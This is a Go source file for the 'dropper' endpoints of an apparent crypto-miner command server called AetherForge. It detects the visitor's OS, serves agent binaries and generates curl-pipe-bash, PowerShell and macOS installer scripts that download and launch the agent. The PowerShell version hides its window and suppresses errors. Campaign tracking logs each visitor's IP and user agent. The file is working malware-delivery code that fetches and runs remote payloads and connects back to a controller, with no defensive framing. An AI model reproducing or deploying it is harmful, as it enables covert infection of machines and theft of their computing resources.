package api import ( "fmt" "net/http" "os" "path/filepath" "strings" dbpkg "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" ) // DropperHandler serves the one-liner remote-install endpoints: // // GET /get — auto-detect OS from User-Agent, serve latest binary // GET /get?os=windows — explicit platform: windows | linux | darwin | universal // GET /install.sh — bash one-liner installer (Linux / macOS) // GET /install.ps1 — PowerShell one-liner installer (Windows) // GET /install.command — macOS double-click launcher (curl | bash wrapper) // // Query params: ?os=windows|linux|darwin|universal ?pin={build_id} ?c={campaign} type DropperHandler struct { db *dbpkg.Database dataDir string publicURLFunc func() string } func NewDropperHandler(database *dbpkg.Database, dataDir string, publicURLFunc func() string) *DropperHandler { return &DropperHandler{db: database, dataDir: dataDir, publicURLFunc: publicURLFunc} } func (h *DropperHandler) publicURL() string { if h.publicURLFunc != nil { if u := h.publicURLFunc(); u != "" { return strings.TrimRight(u, "/") } } return "" } // detectPlatform picks the right build platform from an explicit query param or // the User-Agent header. Returns one of: windows, linux, darwin, universal. func detectPlatform(r *http.Request) string { if p := r.URL.Query().Get("os"); p != "" { switch strings.ToLower(p) { case "windows", "win": return "windows" case "linux": return "linux" case "darwin", "mac", "macos": return "darwin" case "universal", "any": return "universal" } } ua := strings.ToLower(r.Header.Get("User-Agent")) switch { case strings.Contains(ua, "windows"): return "windows" case strings.Contains(ua, "darwin") || strings.Contains(ua, "mac"): return "darwin" case strings.Contains(ua, "linux"): return "linux" } return "" // caller will fall back to latest build regardless of platform } func (h *DropperHandler) logCampaign(r *http.Request, buildID, source, eventType string) { if c := r.URL.Query().Get("c"); c != "" { _ = h.db.LogCampaignEvent(c, buildID, eventType, source, clientIP(r), r.UserAgent()) } } func dropperQueryParts(r *http.Request) []string { q := r.URL.Query() var parts []string if pin := strings.TrimSpace(q.Get("pin")); pin != "" { parts = append(parts, "pin="+pin) } if c := strings.TrimSpace(q.Get("c")); c != "" { parts = append(parts, "c="+c) } return parts } func (h *DropperHandler) querySuffix(r *http.Request) string { parts := dropperQueryParts(r) if len(parts) == 0 { return "" } return "?" + strings.Join(parts, "&") } func (h *DropperHandler) getExtraQuery(r *http.Request) string { parts := dropperQueryParts(r) if len(parts) == 0 { return "" } return "&" + strings.Join(parts, "&") } // resolveDropperBuild picks a build from ?pin= or platform heuristics. func (h *DropperHandler) resolveDropperBuild(r *http.Request) (*models.BuildRecord, string, string) { if pin := strings.TrimSpace(r.URL.Query().Get("pin")); pin != "" { b, err := h.db.GetBuild(pin) if err == nil && b != nil { path, name := resolveDropperArtifact(h.dataDir, b) return b, path, name } } platform := detectPlatform(r) candidates := []string{platform, "universal", ""} if platform == "" { candidates = []string{"universal", ""} } for _, p := range candidates { b, err := h.db.GetLatestBuildForPlatform(p) if err == nil && b != nil { path, name := resolveDropperArtifact(h.dataDir, b) return b, path, name } } return nil, "", "" } // ServeGet handles GET /get — serves the latest agent binary for the detected platform. func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) { b, buildPath, buildName := h.resolveDropperBuild(r) if b != nil { h.logCampaign(r, b.ID, "get", dbpkg.CampaignEventDownload) } if buildPath == "" { w.Header().Set("Content-Type", "text/plain; charset=utf-8") w.WriteHeader(http.StatusNotFound) fmt.Fprintln(w, "AETHERFORGE: no agent build available yet.") fmt.Fprintln(w, "Open the dashboard → Forge → fill in your wallet + server URL → FORGE INSTALLER.") fmt.Fprintln(w, "Then re-run this one-liner.") return } w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName)) w.Header().Set("Content-Type", "application/octet-stream") // Content-Length is set automatically by http.ServeFile. http.ServeFile(w, r, buildPath) } func campaignEnvBlock(campaign string) string { if campaign == "" { return "" } return fmt.Sprintf("export AETHER_CAMPAIGN=%q\nexport AETHER_UTM=%q\n", campaign, campaign) } // ServeSh handles GET /install.sh — returns a bash one-liner installer. func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) { base := h.resolveBase(r) campaign := strings.TrimSpace(r.URL.Query().Get("c")) h.logCampaign(r, "", "install.sh", dbpkg.CampaignEventPageHit) script := fmt.Sprintf(`#!/bin/sh # AetherForge agent installer # Usage: curl -sL '%[1]s/install.sh' | bash # wget -qO- '%[1]s/install.sh' | bash set -e die() { echo "[!] $*" >&2; exit 1; } %s OS="$(uname -s | tr '[:upper:]' '[:lower:]')" ARCH="$(uname -m)" case "$ARCH" in x86_64) ARCH="amd64" ;; aarch64|arm64) ARCH="arm64" ;; esac echo "[*] AetherForge — downloading agent for $OS/$ARCH..." TMPDIR="$(mktemp -d)" DEST="$TMPDIR/worker" # Download and verify we got a real file, not a 404 page. # Note: double-quotes around URL so $OS is expanded by the shell. HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS%[2]s")" if [ "$HTTP_CODE" != "200" ]; then cat "$DEST" >&2 die "Server returned HTTP $HTTP_CODE — forge an agent first from the dashboard." fi FILESIZE="$(wc -c < "$DEST" | tr -d ' ')" [ "$FILESIZE" -gt 1024 ] || die "Download too small ($FILESIZE bytes) — something went wrong." # Universal bundle (ZIP) or raw binary? 'file' is available on all platforms. if file "$DEST" 2>/dev/null | grep -qi "zip\|archive"; then echo "[*] Extracting universal bundle..." unzip -q "$DEST" -d "$TMPDIR/bundle" cd "$TMPDIR/bundle" if [ "$OS" = "darwin" ]; then for L in Start.command start.command; do [ -f "$L" ] && chmod +x "$L" && exec "./$L" done fi for L in start.sh deploy.sh; do [ -f "$L" ] && chmod +x "$L" && exec sh "./$L" done die "No launcher found in bundle (Start.command / start.sh / deploy.sh)" fi chmod +x "$DEST" echo "[*] Launching agent..." nohup "$DEST" >/dev/null 2>&1 & echo "[+] Agent started (pid $!) — it will install itself and connect back to the command deck." `, base, h.getExtraQuery(r), campaignEnvBlock(campaign)) w.Header().Set("Content-Type", "text/plain; charset=utf-8") w.Header().Set("Content-Disposition", `inline; filename="install.sh"`) fmt.Fprint(w, script) } // ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer. func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) { base := h.resolveBase(r) campaign := strings.TrimSpace(r.URL.Query().Get("c")) h.logCampaign(r, "", "install.ps1", dbpkg.CampaignEventPageHit) // Build script as a regular string — backtick in Go raw strings conflicts // with PowerShell's escape character. bt := "`" nl := "\r\n" campaignBlock := "" if campaign != "" { campaignBlock = "$env:AETHER_CAMPAIGN = '" + campaign + "'" + nl + "$env:AETHER_UTM = '" + campaign + "'" + nl + nl } script := "# AetherForge dropper" + nl + "$ErrorActionPreference = 'SilentlyContinue'" + nl + "$ProgressPreference = 'SilentlyContinue'" + nl + nl + campaignBlock + "$url = '" + base + "/get?os=windows" + h.getExtraQuery(r) + "'" + nl + "$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl + "try {" + nl + " (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl + "} catch { exit 0 }" + nl + nl + "if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }" + nl + nl + "$bytes = [System.IO.File]::ReadAllBytes($tmp)" + nl + "$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl + "if ($isZip) {" + nl + " $dir = $tmp + '_bundle'" + nl + " Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl + " [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl + " foreach ($name in @('Start.bat', 'Deploy.bat', 'start.bat', 'deploy.bat')) {" + nl + " $c = Join-Path $dir $name" + nl + " if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl + " }" + nl + "} else {" + nl + " $exe = $tmp + '.exe'" + nl + " Move-Item -Path $tmp -Destination $exe -Force" + nl + " Start-Process -FilePath $exe -WindowStyle Hidden" + nl + "}" + nl + "if ($host.Name -match 'ConsoleHost') { [System.Environment]::Exit(0) }" + nl w.Header().Set("Content-Type", "text/plain; charset=utf-8") w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`) fmt.Fprint(w, script) } // ServeCommand handles GET /install.command — macOS double-clickable shell script. func (h *DropperHandler) ServeCommand(w http.ResponseWriter, r *http.Request) { base := h.resolveBase(r) suffix := h.querySuffix(r) campaign := strings.TrimSpace(r.URL.Query().Get("c")) h.logCampaign(r, "", "install.command", dbpkg.CampaignEventPageHit) script := fmt.Sprintf(`#!/bin/bash # AetherForge macOS launcher — double-click or: curl -sL '%[1]s/install.command' | bash set -e %[2]s curl -sL '%[1]s/install.sh%[3]s' | bash `, base, campaignEnvBlock(campaign), suffix) w.Header().Set("Content-Type", "text/plain; charset=utf-8") w.Header().Set("Content-Disposition", `inline; filename="install.command"`) fmt.Fprint(w, script) } // resolveBase returns the public base URL for script generation, falling back // to the request's Host header when no public URL is configured. func (h *DropperHandler) resolveBase(r *http.Request) string { if u := h.publicURL(); u != "" { return u } scheme := "http" if r.TLS != nil { scheme = "https" } // Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel). if proto := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Proto"), ",")[0]); strings.EqualFold(proto, "https") { scheme = "https" } // Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host. host := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Host"), ",")[0]) if host == "" { host = r.Host } return scheme + "://" + host } // resolveDropperArtifact prefers DownloadURL (bundle artifact) over FilePath (launcher). func resolveDropperArtifact(dataDir string, b *models.BuildRecord) (path, name string) { if b == nil { return "", "" } dl := strings.TrimSpace(b.DownloadURL) if dl != "" && strings.Contains(dl, "/artifact/") { parts := strings.Split(dl, "/artifact/") if len(parts) == 2 && parts[1] != "" { artifactName := filepath.Base(parts[1]) candidate := filepath.Join(dataDir, "builds", b.ID, artifactName) if _, err := os.Stat(candidate); err == nil { return candidate, artifactName } } } path = b.FilePath name = strings.TrimSpace(b.FileName) if name == "" && path != "" { name = filepath.Base(path) } return path, name }